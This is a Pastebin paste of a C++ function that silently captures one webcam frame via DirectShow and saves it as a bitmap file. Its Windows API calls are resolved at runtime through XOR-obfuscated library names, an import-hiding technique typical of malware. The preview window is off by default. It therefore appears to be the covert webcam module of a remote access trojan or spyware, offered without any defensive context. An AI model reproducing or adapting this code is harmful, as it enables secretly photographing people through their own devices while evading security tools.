Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- try
- {
- // DirectShow objects
- HRESULT hr;
- ICreateDevEnum *pDevEnum = NULL;
- IEnumMoniker *pEnum = NULL;
- IMoniker *pMoniker = NULL;
- IPropertyBag *pPropBag = NULL;
- IGraphBuilder *pGraph = NULL;
- ICaptureGraphBuilder2 *pBuilder = NULL;
- IBaseFilter *pCap = NULL;
- IBaseFilter *pSampleGrabberFilter = NULL;
- ISampleGrabber *pSampleGrabber = NULL;
- IBaseFilter *pNullRenderer = NULL;
- IMediaControl *pMediaControl = NULL;
- char *pBuffer = NULL;
- int snapshot_delay = 2000;
- int show_preview_window = 0;
- int list_devices = 0;
- int device_number = 1;
- char device_name[100];
- char filename[100];
- char char_buffer[100];
- strcpy(device_name, "");
- strcpy(filename, output_path.c_str());
- // Intialise COM
- hr = FNC(CoInitializeEx, XOR("Ole32.dll"))(NULL, COINIT_MULTITHREADED);
- if (hr != S_OK)
- {
- WEBCAMEND
- }
- // Create filter graph
- hr = FNC(CoCreateInstance, XOR("Ole32.dll"))(CLSID_FilterGraph, NULL,
- CLSCTX_INPROC_SERVER, IID_IGraphBuilder,
- (void**)&pGraph);
- if (hr != S_OK)
- {
- WEBCAMEND
- }
- // Create capture graph builder.
- hr = FNC(CoCreateInstance, XOR("Ole32.dll"))
- (CLSID_CaptureGraphBuilder2, NULL,
- CLSCTX_INPROC_SERVER, IID_ICaptureGraphBuilder2,
- (void **)&pBuilder);
- if (hr != S_OK)
- {
- WEBCAMEND
- }
- // Attach capture graph builder to graph
- hr = pBuilder->SetFiltergraph(pGraph);
- if (hr != S_OK)
- {
- WEBCAMEND
- }
- // Create system device enumerator
- hr = FNC(CoCreateInstance, XOR("Ole32.dll"))(CLSID_SystemDeviceEnum, NULL,
- CLSCTX_INPROC_SERVER, IID_PPV_ARGS(&pDevEnum));
- if (hr != S_OK)
- {
- WEBCAMEND
- }
- // Video input device enumerator
- hr = pDevEnum->CreateClassEnumerator(
- CLSID_VideoInputDeviceCategory, &pEnum, 0);
- if (hr != S_OK)
- {
- WEBCAMEND
- }
- int n;
- // Get moniker for specified video input device,
- // or for the first device if no device number
- // was specified.
- VARIANT var;
- n = 0;
- while (1)
- {
- // Access next device
- if (pEnum != 0)
- hr = pEnum->Next(1, &pMoniker, NULL);
- if (hr == S_OK)
- ++n; // increment device count
- else
- {
- WEBCAMEND
- }
- // If device was specified by name rather than number...
- if (device_number == 0)
- {
- // Get video input device name
- hr = pMoniker->BindToStorage(0, 0, IID_PPV_ARGS(&pPropBag));
- if (hr == S_OK)
- {
- // Get current device name
- FNC(VariantInit, XOR("OleAut32.dll"))(&var);
- hr = pPropBag->Read(L"FriendlyName", &var, 0);
- // Convert to a normal C string, i.e. char*
- sprintf(char_buffer, "%ls", var.bstrVal);
- FNC(VariantClear, XOR("OleAut32.dll"))(&var);
- pPropBag->Release();
- pPropBag = NULL;
- // Exit loop if current device name matched devname
- if (strcmp(device_name, char_buffer) == 0)
- break;
- }
- else
- {
- WEBCAMEND
- }
- }
- else if (n >= device_number)
- break;
- }
- // Get video input device name
- hr = pMoniker->BindToStorage(0, 0, IID_PPV_ARGS(&pPropBag));
- FNC(VariantInit, XOR("OleAut32.dll"))(&var);
- hr = pPropBag->Read(L"FriendlyName", &var, 0);
- //fprintf(stderr, "Capture device: %ls\n", var.bstrVal);
- FNC(VariantClear, XOR("OleAut32.dll"))(&var);
- // Create capture filter and add to graph
- hr = pMoniker->BindToObject(0, 0,
- IID_IBaseFilter, (void**)&pCap);
- if (hr != S_OK)
- {
- WEBCAMEND
- }
- // Add capture filter to graph
- hr = pGraph->AddFilter(pCap, L"Capture Filter");
- if (hr != S_OK)
- {
- WEBCAMEND
- }
- // Create sample grabber filter
- hr = FNC(CoCreateInstance, XOR("Ole32.dll"))(CLSID_SampleGrabber, NULL,
- CLSCTX_INPROC_SERVER, IID_IBaseFilter,
- (void**)&pSampleGrabberFilter);
- if (hr != S_OK)
- {
- WEBCAMEND
- }
- // Query the ISampleGrabber interface of the sample grabber filter
- hr = pSampleGrabberFilter->QueryInterface(
- IID_ISampleGrabber, (void**)&pSampleGrabber);
- if (hr != S_OK)
- {
- WEBCAMEND
- }
- // Enable sample buffering in the sample grabber filter
- hr = pSampleGrabber->SetBufferSamples(TRUE);
- if (hr != S_OK)
- {
- WEBCAMEND
- }
- // Set media type in sample grabber filter
- AM_MEDIA_TYPE mt;
- ZeroMemory(&mt, sizeof(AM_MEDIA_TYPE));
- mt.majortype = MEDIATYPE_Video;
- mt.subtype = MEDIASUBTYPE_RGB24;
- hr = pSampleGrabber->SetMediaType((_AMMediaType *)&mt);
- if (hr != S_OK)
- {
- WEBCAMEND
- }
- // Add sample grabber filter to filter graph
- hr = pGraph->AddFilter(pSampleGrabberFilter, L"SampleGrab");
- if (hr != S_OK)
- {
- WEBCAMEND
- }
- // Create Null Renderer filter
- hr = FNC(CoCreateInstance, XOR("Ole32.dll"))(CLSID_NullRenderer, NULL,
- CLSCTX_INPROC_SERVER, IID_IBaseFilter,
- (void**)&pNullRenderer);
- if (hr != S_OK)
- {
- WEBCAMEND
- }
- // Add Null Renderer filter to filter graph
- hr = pGraph->AddFilter(pNullRenderer, L"NullRender");
- if (hr != S_OK)
- {
- WEBCAMEND
- }
- // Connect up the filter graph's capture stream
- hr = pBuilder->RenderStream(
- &PIN_CATEGORY_CAPTURE, &MEDIATYPE_Video,
- pCap, pSampleGrabberFilter, pNullRenderer);
- if (hr != S_OK)
- {
- WEBCAMEND
- }
- // Connect up the filter graph's preview stream
- if (show_preview_window > 0)
- {
- hr = pBuilder->RenderStream(
- &PIN_CATEGORY_PREVIEW, &MEDIATYPE_Video,
- pCap, NULL, NULL);
- if (hr != S_OK && hr != VFW_S_NOPREVIEWPIN)
- {
- WEBCAMEND
- }
- }
- // Get media control interfaces to graph builder object
- hr = pGraph->QueryInterface(IID_IMediaControl,
- (void**)&pMediaControl);
- if (hr != S_OK)
- {
- WEBCAMEND
- }
- // Run graph
- while (1)
- {
- hr = pMediaControl->Run();
- // Hopefully, the return value was S_OK or S_FALSE
- if (hr == S_OK)
- break; // graph is now running
- if (hr == S_FALSE)
- continue; // graph still preparing to run
- WEBCAMEND
- }
- // Wait for specified time delay (if any)
- //Sleep(snapshot_delay);
- // Grab a sample
- // First, find the required buffer size
- long buffer_size = 0;
- while (1)
- {
- // Passing in a NULL pointer signals that we're just checking
- // the required buffer size; not looking for actual data yet.
- hr = pSampleGrabber->GetCurrentBuffer(&buffer_size, NULL);
- // Keep trying until buffer_size is set to non-zero value.
- if (hr == S_OK && buffer_size != 0)
- break;
- // If the return value isn't S_OK or VFW_E_WRONG_STATE
- // then something has gone wrong. VFW_E_WRONG_STATE just
- // means that the filter graph is still starting up and
- // no data has arrived yet in the sample grabber filter.
- if (hr != S_OK && hr != VFW_E_WRONG_STATE)
- {
- WEBCAMEND
- }
- }
- // Stop the graph
- pMediaControl->Stop();
- // Allocate buffer for image
- pBuffer = new char[buffer_size];
- if (!pBuffer)
- {
- WEBCAMEND
- }
- // Retrieve image data from sample grabber buffer
- hr = pSampleGrabber->GetCurrentBuffer(
- &buffer_size, (long*)pBuffer);
- if (hr != S_OK)
- {
- WEBCAMEND
- }
- // Get the media type from the sample grabber filter
- hr = pSampleGrabber->GetConnectedMediaType(
- (_AMMediaType *)&mt);
- if (hr != S_OK)
- {
- WEBCAMEND
- }
- // Retrieve format information
- VIDEOINFOHEADER *pVih = NULL;
- if ((mt.formattype == FORMAT_VideoInfo) &&
- (mt.cbFormat >= sizeof(VIDEOINFOHEADER)) &&
- (mt.pbFormat != NULL))
- {
- // Get video info header structure from media type
- pVih = (VIDEOINFOHEADER*)mt.pbFormat;
- // Create bitmap structure
- long cbBITMAPINFOSize = mt.cbFormat - SIZE_PREHEADER;
- BITMAPFILEHEADER bfh;
- ZeroMemory(&bfh, sizeof(bfh));
- bfh.bfType = 'MB'; // Little-endian for "BM".
- bfh.bfSize = sizeof(bfh) + buffer_size + cbBITMAPINFOSize;
- bfh.bfOffBits = sizeof(BITMAPFILEHEADER) + cbBITMAPINFOSize;
- // Open output file
- HANDLE hf = FNC(CreateFileA, XOR("Kernel32.dll"))(filename, GENERIC_WRITE,
- FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, 0, NULL);
- if (hf == INVALID_HANDLE_VALUE)
- {
- WEBCAMEND
- }
- // Write the file header.
- DWORD dwWritten = 0;
- FNC(WriteFile, XOR("Kernel32.dll"))(hf, &bfh, sizeof(bfh), &dwWritten, NULL);
- FNC(WriteFile, XOR("Kernel32.dll"))(hf, HEADER(pVih),
- cbBITMAPINFOSize, &dwWritten, NULL);
- FNC(WriteFile, XOR("Kernel32.dll"))(hf, pBuffer, buffer_size, &dwWritten, NULL);
- FNC(CloseHandle, XOR("Kernel32.dll"))(hf);
- }
- else
- {
- WEBCAMEND
- }
- // Free the format block
- if (mt.cbFormat != 0)
- {
- FNC(CoTaskMemFree, XOR("Ole32.dll"))((PVOID)mt.pbFormat);
- mt.cbFormat = 0;
- mt.pbFormat = NULL;
- }
- if (mt.pUnk != NULL)
- {
- // pUnk should not be used
- mt.pUnk->Release();
- mt.pUnk = NULL;
- }
- WEBCAMEND
- }
- catch (...) { return; }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement